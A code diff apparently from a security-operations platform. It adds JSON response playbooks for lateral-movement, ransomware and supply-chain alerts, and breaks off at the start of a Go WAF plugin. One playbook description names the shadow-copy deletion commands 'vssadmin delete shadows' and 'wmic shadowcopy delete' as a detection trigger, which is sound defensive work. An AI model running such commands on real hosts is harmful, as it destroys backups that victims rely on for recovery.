b/playbooks/packs/v1/lateral-movement/lateral-pass-the-hash.playbook.json@@ -0,0 +1,99 @@+{+ "id": "lateral-pass-the-hash-v1",+ "name": "Lateral: Pass-The-Hash",+ "description": "Triggered by NTLM relay / PTH detection. Disables the user and isolates source + destination.",+ "version": "1.0.0",+ "tags": [+ "lateral-movement",+ "lateral",+ "ad",+ "mitre.t1550.002"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "lateral-movement"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "disable-user",+ "name": "Disable account",+ "type": "http",+ "params": {+ "url": "${IDP_BASE_URL}/users/{{alert.user}}/disable",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "iso-src",+ "name": "Isolate source host",+ "type": "isolate_host",+ "params": {+ "host_field": "alert.src_host"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "iso-dst",+ "name": "Isolate destination host",+ "type": "isolate_host",+ "params": {+ "host_field": "alert.dst_host"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "inv",+ "name": "Investigate PTH chain",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page on-call",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "PTH detected: {{alert.user}} {{alert.src_host}} -> {{alert.dst_host}}. Account disabled.",+ "service_key_env": "PD_SOC_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open PTH ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "PTH: {{alert.user}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/lateral-movement/lateral-psexec-detected.playbook.json b/playbooks/packs/v1/lateral-movement/lateral-psexec-detected.playbook.jsonnew file mode 100644index 000000000..e9002c4f8--- /dev/null+++ b/playbooks/packs/v1/lateral-movement/lateral-psexec-detected.playbook.json@@ -0,0 +1,88 @@+{+ "id": "lateral-psexec-detected-v1",+ "name": "Lateral: PsExec / Remote Service Creation",+ "description": "Triggered by remote service creation patterns indicative of PsExec / Impacket. Isolates target and source, investigates.",+ "version": "1.0.0",+ "tags": [+ "lateral-movement",+ "lateral",+ "endpoint",+ "mitre.t1021.002"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "lateral-movement"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "iso-dst",+ "name": "Isolate target host",+ "type": "isolate_host",+ "params": {+ "host_field": "alert.dst_host"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "iso-src",+ "name": "Isolate source host",+ "type": "isolate_host",+ "params": {+ "host_field": "alert.src_host"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "inv",+ "name": "Investigate lateral chain",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page on-call",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "PsExec lateral {{alert.src_host}} -> {{alert.dst_host}}. Both isolated.",+ "service_key_env": "PD_SOC_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open lateral ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "PsExec lateral: {{alert.src_host}} -> {{alert.dst_host}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/lateral-movement/lateral-rdp-spray.playbook.json b/playbooks/packs/v1/lateral-movement/lateral-rdp-spray.playbook.jsonnew file mode 100644index 000000000..99b9c388c--- /dev/null+++ b/playbooks/packs/v1/lateral-movement/lateral-rdp-spray.playbook.json@@ -0,0 +1,88 @@+{+ "id": "lateral-rdp-spray-v1",+ "name": "Lateral: RDP Spray",+ "description": "Triggered when one host opens RDP to >N hosts in <T window. Blocks the source IP, isolates host, investigates.",+ "version": "1.0.0",+ "tags": [+ "lateral-movement",+ "lateral",+ "rdp",+ "mitre.t1021.001"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high"+ ],+ "tags": [+ "lateral-movement"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "b1",+ "name": "Block source IP",+ "type": "block_ip",+ "params": {+ "ip_field": "alert.src_ip",+ "duration": "24h"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "iso",+ "name": "Isolate source host",+ "type": "isolate_host",+ "params": {+ "host_field": "alert.src_host"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "inv",+ "name": "Investigate RDP spray",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify SOC",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "RDP spray from {{alert.src_host}} blocked.",+ "webhook_env": "SLACK_SOC_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open RDP-spray ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P2",+ "title_template": "RDP spray: {{alert.src_host}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/ransomware/ransomware-c2-block.playbook.json b/playbooks/packs/v1/ransomware/ransomware-c2-block.playbook.jsonnew file mode 100644index 000000000..9a3881391--- /dev/null+++ b/playbooks/packs/v1/ransomware/ransomware-c2-block.playbook.json@@ -0,0 +1,99 @@+{+ "id": "ransomware-c2-block-v1",+ "name": "Ransomware: C2 Beacon Block",+ "description": "Triggered by C2 beaconing detections that match ransomware-family TTPs. Blocks C2 destinations at edge, isolates source host.",+ "version": "1.0.0",+ "tags": [+ "ransomware",+ "ransomware",+ "c2",+ "mitre.t1071"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "ransomware"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich destination IP",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.dst_ip"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "b1",+ "name": "Block C2 destination",+ "type": "block_ip",+ "params": {+ "ip_field": "alert.dst_ip",+ "duration": "30d"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "iso",+ "name": "Isolate beaconing host",+ "type": "isolate_host",+ "params": {+ "host_field": "alert.host"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "inv",+ "name": "Investigate ransomware C2",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify SOC",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "C2 {{alert.dst_ip}} blocked. Host {{alert.host}} isolated.",+ "webhook_env": "SLACK_SOC_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open C2 ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "Ransomware C2: {{alert.host}} -> {{alert.dst_ip}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/ransomware/ransomware-fileserver-encrypt.playbook.json b/playbooks/packs/v1/ransomware/ransomware-fileserver-encrypt.playbook.jsonnew file mode 100644index 000000000..7f7b4657c--- /dev/null+++ b/playbooks/packs/v1/ransomware/ransomware-fileserver-encrypt.playbook.json@@ -0,0 +1,89 @@+{+ "id": "ransomware-fileserver-encrypt-v1",+ "name": "Ransomware: File-Server Encryption Activity",+ "description": "Triggered by mass-rename / mass-extension-change on a file server. Network-segments the host to halt SMB lateral encryption.",+ "version": "1.0.0",+ "tags": [+ "ransomware",+ "ransomware",+ "fileserver",+ "mitre.t1486"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "ransomware"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "iso",+ "name": "Network-segment file server",+ "type": "isolate_host",+ "params": {+ "host_field": "alert.host"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "smb-deny",+ "name": "Push deny rule to firewall (SMB)",+ "type": "http",+ "params": {+ "url": "${FW_URL}/policy/deny-smb",+ "method": "POST",+ "body_template": "{\"src\":\"{{alert.host}}\",\"port\":445}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Forensic investigation",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page storage and on-call",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "File-server ransomware: {{alert.host}}. SMB egress blocked.",+ "service_key_env": "PD_STORAGE_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open SEV1 ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "File-server ransomware: {{alert.host}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/ransomware/ransomware-host-isolate.playbook.json b/playbooks/packs/v1/ransomware/ransomware-host-isolate.playbook.jsonnew file mode 100644index 000000000..eb9414a7c--- /dev/null+++ b/playbooks/packs/v1/ransomware/ransomware-host-isolate.playbook.json@@ -0,0 +1,99 @@+{+ "id": "ransomware-host-isolate-v1",+ "name": "Ransomware: Host Isolation & Snapshot",+ "description": "Immediate host isolation, disk snapshot for forensics, page on-call. Standard first-response for endpoint ransomware.",+ "version": "1.0.0",+ "tags": [+ "ransomware",+ "ransomware",+ "endpoint",+ "mitre.t1486"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "ransomware"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "iso",+ "name": "Isolate host (EDR)",+ "type": "isolate_host",+ "params": {+ "host_field": "alert.host"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "snap",+ "name": "Snapshot host disk",+ "type": "http",+ "params": {+ "url": "${EDR_URL}/hosts/{{alert.host}}/snapshot",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "e1",+ "name": "Enrich file hash",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.file_hash"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "inv",+ "name": "Forensic investigation",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page on-call (SEV1)",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "RANSOMWARE: {{alert.host}} isolated. Snapshot {{context.snapshot_id}} taken.",+ "service_key_env": "PD_RANSOMWARE_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open SEV1 ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "RANSOMWARE: {{alert.host}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/ransomware/ransomware-public-exposure.playbook.json b/playbooks/packs/v1/ransomware/ransomware-public-exposure.playbook.jsonnew file mode 100644index 000000000..763c55414--- /dev/null+++ b/playbooks/packs/v1/ransomware/ransomware-public-exposure.playbook.json@@ -0,0 +1,100 @@+{+ "id": "ransomware-public-exposure-v1",+ "name": "Ransomware: Internet-Exposed Asset Containment",+ "description": "Triggered when a host with public exposure shows ransomware indicators. Pulls the asset off the internet immediately.",+ "version": "1.0.0",+ "tags": [+ "ransomware",+ "ransomware",+ "exposure",+ "mitre.t1486"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "ransomware"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "detach-eip",+ "name": "Detach public IP",+ "type": "http",+ "params": {+ "url": "${CLOUD_URL}/instances/{{alert.host}}/detach-public-ip",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "iso",+ "name": "Isolate host (EDR)",+ "type": "isolate_host",+ "params": {+ "host_field": "alert.host"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "snap",+ "name": "Snapshot host disk",+ "type": "http",+ "params": {+ "url": "${EDR_URL}/hosts/{{alert.host}}/snapshot",+ "method": "POST"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Forensic investigation",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page on-call (SEV1)",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "Internet-exposed host {{alert.host}} pulled off-net. Ransomware suspected.",+ "service_key_env": "PD_RANSOMWARE_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open SEV1 ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "Ransomware on exposed host: {{alert.host}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/ransomware/ransomware-shadow-copy-deletion.playbook.json b/playbooks/packs/v1/ransomware/ransomware-shadow-copy-deletion.playbook.jsonnew file mode 100644index 000000000..83c3aba3b--- /dev/null+++ b/playbooks/packs/v1/ransomware/ransomware-shadow-copy-deletion.playbook.json@@ -0,0 +1,88 @@+{+ "id": "ransomware-shadow-copy-deletion-v1",+ "name": "Ransomware: Shadow Copy Deletion Detected",+ "description": "Triggered on `vssadmin delete shadows` or wmic shadowcopy delete. Pre-encryption signal \u2014 isolate fast and verify backups.",+ "version": "1.0.0",+ "tags": [+ "ransomware",+ "ransomware",+ "endpoint",+ "mitre.t1490"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "critical"+ ],+ "tags": [+ "ransomware"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "iso",+ "name": "Isolate host (EDR)",+ "type": "isolate_host",+ "params": {+ "host_field": "alert.host"+ },+ "on_failure": "abort",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "verify-backup",+ "name": "Verify last successful backup",+ "type": "http",+ "params": {+ "url": "${BACKUP_URL}/hosts/{{alert.host}}/last-backup",+ "method": "GET"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Forensic investigation",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "forensics"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify backup team",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "Shadow-copy deletion on {{alert.host}}. Last backup: {{context.last_backup_at}}.",+ "webhook_env": "SLACK_BACKUP_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open ransomware ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "Shadow copies deleted: {{alert.host}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/supply-chain/supply-github-action-compromise.playbook.json b/playbooks/packs/v1/supply-chain/supply-github-action-compromise.playbook.jsonnew file mode 100644index 000000000..3f22beb22--- /dev/null+++ b/playbooks/packs/v1/supply-chain/supply-github-action-compromise.playbook.json@@ -0,0 +1,91 @@+{+ "id": "supply-github-action-compromise-v1",+ "name": "Supply Chain: GitHub Action Compromise",+ "description": "Triggered when a referenced GitHub Action SHA changes unexpectedly or matches a compromise advisory. Pin to last-known-good and audit.",+ "version": "1.0.0",+ "tags": [+ "supply-chain",+ "supply-chain",+ "github",+ "mitre.t1195.002"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "supply-chain"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "pin",+ "name": "Pin Action to last-known-good SHA",+ "type": "http",+ "params": {+ "url": "${CI_URL}/actions/pin",+ "method": "POST",+ "body_template": "{\"action\":\"{{alert.action}}\",\"sha\":\"{{alert.lkg_sha}}\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "audit",+ "name": "List workflows using this Action",+ "type": "http",+ "params": {+ "url": "${CI_URL}/workflows?action={{alert.action}}",+ "method": "GET"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate Action compromise",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "cloud"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page eng-sec",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "GH Action {{alert.action}} pinned to {{alert.lkg_sha}}.",+ "service_key_env": "PD_ENGSEC_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open Action-compromise ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "GH Action compromise: {{alert.action}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/supply-chain/supply-iac-drift.playbook.json b/playbooks/packs/v1/supply-chain/supply-iac-drift.playbook.jsonnew file mode 100644index 000000000..8c878a129--- /dev/null+++ b/playbooks/packs/v1/supply-chain/supply-iac-drift.playbook.json@@ -0,0 +1,79 @@+{+ "id": "supply-iac-drift-v1",+ "name": "Supply Chain: IaC Drift Detected",+ "description": "Triggered when production infra deviates from IaC source of truth in a security-relevant way. Reverts to declared state.",+ "version": "1.0.0",+ "tags": [+ "supply-chain",+ "supply-chain",+ "iac",+ "drift"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "medium",+ "high"+ ],+ "tags": [+ "supply-chain"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "revert",+ "name": "Revert to declared IaC state",+ "type": "http",+ "params": {+ "url": "${IAC_URL}/apply",+ "method": "POST",+ "body_template": "{\"resource\":\"{{alert.resource_id}}\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate drift cause",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "cloud"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify platform team",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "IaC drift {{alert.resource_id}} reverted.",+ "webhook_env": "SLACK_PLATFORM_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open IaC-drift ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P3",+ "title_template": "IaC drift: {{alert.resource_id}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/supply-chain/supply-malicious-npm.playbook.json b/playbooks/packs/v1/supply-chain/supply-malicious-npm.playbook.jsonnew file mode 100644index 000000000..ed7487f77--- /dev/null+++ b/playbooks/packs/v1/supply-chain/supply-malicious-npm.playbook.json@@ -0,0 +1,102 @@+{+ "id": "supply-malicious-npm-v1",+ "name": "Supply Chain: Malicious npm Package",+ "description": "Triggered when a published npm package matches a known-bad list. Blocks installs at registry-mirror, audits org installs.",+ "version": "1.0.0",+ "tags": [+ "supply-chain",+ "supply-chain",+ "npm",+ "mitre.t1195"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "supply-chain"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "e1",+ "name": "Enrich package reputation",+ "type": "enrich",+ "params": {+ "indicator_field": "alert.package_name"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 30+ },+ {+ "id": "block",+ "name": "Add package to mirror block-list",+ "type": "http",+ "params": {+ "url": "${REGISTRY_URL}/policy/block",+ "method": "POST",+ "body_template": "{\"ecosystem\":\"npm\",\"package\":\"{{alert.package_name}}\",\"version\":\"{{alert.package_version}}\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "audit-installs",+ "name": "List org installs",+ "type": "http",+ "params": {+ "url": "${SCA_URL}/installs?ecosystem=npm&package={{alert.package_name}}",+ "method": "GET"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate supply-chain blast radius",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "cloud"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Page eng-sec",+ "type": "notify",+ "params": {+ "channel": "pagerduty",+ "message_template": "Malicious npm {{alert.package_name}} blocked. {{context.install_count}} installs found.",+ "service_key_env": "PD_ENGSEC_KEY"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open supply-chain ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "Malicious npm: {{alert.package_name}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/supply-chain/supply-pypi-typosquat.playbook.json b/playbooks/packs/v1/supply-chain/supply-pypi-typosquat.playbook.jsonnew file mode 100644index 000000000..6eb0bc12e--- /dev/null+++ b/playbooks/packs/v1/supply-chain/supply-pypi-typosquat.playbook.json@@ -0,0 +1,90 @@+{+ "id": "supply-pypi-typosquat-v1",+ "name": "Supply Chain: PyPI Typosquat",+ "description": "Triggered when a typosquat package is observed in CI installs. Pulls install lock to canonical name and audits.",+ "version": "1.0.0",+ "tags": [+ "supply-chain",+ "supply-chain",+ "pypi",+ "mitre.t1195"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high"+ ],+ "tags": [+ "supply-chain"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "block",+ "name": "Block typosquat at mirror",+ "type": "http",+ "params": {+ "url": "${REGISTRY_URL}/policy/block",+ "method": "POST",+ "body_template": "{\"ecosystem\":\"pypi\",\"package\":\"{{alert.package_name}}\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "audit",+ "name": "List repos with this dependency",+ "type": "http",+ "params": {+ "url": "${SCA_URL}/repos?ecosystem=pypi&package={{alert.package_name}}",+ "method": "GET"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate typosquat",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "cloud"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify eng team",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "PyPI typosquat {{alert.package_name}} blocked. {{context.repo_count}} repos affected.",+ "webhook_env": "SLACK_ENG_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open typosquat ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P2",+ "title_template": "PyPI typosquat: {{alert.package_name}}",+ "queue": "soc"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/playbooks/packs/v1/supply-chain/supply-vendor-breach.playbook.json b/playbooks/packs/v1/supply-chain/supply-vendor-breach.playbook.jsonnew file mode 100644index 000000000..5f6793c06--- /dev/null+++ b/playbooks/packs/v1/supply-chain/supply-vendor-breach.playbook.json@@ -0,0 +1,79 @@+{+ "id": "supply-vendor-breach-v1",+ "name": "Supply Chain: Vendor Breach Notification",+ "description": "Triggered when a vendor publishes a breach advisory matching internal vendor inventory. Blocks vendor IPs, opens procurement review.",+ "version": "1.0.0",+ "tags": [+ "supply-chain",+ "supply-chain",+ "vendor",+ "mitre.t1199"+ ],+ "trigger": {+ "on": "alert",+ "severity": [+ "high",+ "critical"+ ],+ "tags": [+ "supply-chain"+ ]+ },+ "author": "AiSOC",+ "enabled": true,+ "created_at": "2026-05-03T00:00:00+00:00",+ "updated_at": "2026-05-03T00:00:00+00:00",+ "steps": [+ {+ "id": "block-vendor-ips",+ "name": "Block vendor IP ranges",+ "type": "http",+ "params": {+ "url": "${FW_URL}/policy/block-vendor",+ "method": "POST",+ "body_template": "{\"vendor\":\"{{alert.vendor}}\"}"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ },+ {+ "id": "inv",+ "name": "Investigate vendor exposure",+ "type": "investigate",+ "params": {+ "case_id_field": "alert.case_id",+ "focus": "cloud"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 180+ },+ {+ "id": "n1",+ "name": "Notify procurement + sec",+ "type": "notify",+ "params": {+ "channel": "slack",+ "message_template": "Vendor {{alert.vendor}} breach. IPs blocked. Review contracts and integrations.",+ "webhook_env": "SLACK_PROCUREMENT_WEBHOOK"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 10+ },+ {+ "id": "t1",+ "name": "Open vendor-breach ticket",+ "type": "create_ticket",+ "params": {+ "priority": "P1",+ "title_template": "Vendor breach: {{alert.vendor}}",+ "queue": "procurement"+ },+ "on_failure": "continue",+ "retry_max": 0,+ "timeout_seconds": 20+ }+ ]+}diff --git a/plugins/cloudflare-waf/go/main.go b/plugins/cloudflare-waf/go/main.gonew file mode 100644index 000000000..5999ac5bf--- /dev/null+++ b/plugins/cloudflare-waf/go/main.go@@ -0,0 +1,138 @@+// Package main is the Cloudflare WAF action reference implementation in Go.+//+// This file mirrors the Python plugin.py and demonstrates cross-language SDK+// parity. The AiSOC runtime currently invokes plugin.py at execution time;+// this Go reference is intended for operators who prefer to ship native+// binary plugins.+package main++import (+ "bytes"+ "context"+ "encoding/json"+ "errors"+ "fmt"+ "net/http"+ "time"++ "github.com/beenuar/aisoc/plugin-sdk-go/aisoc"+)++const 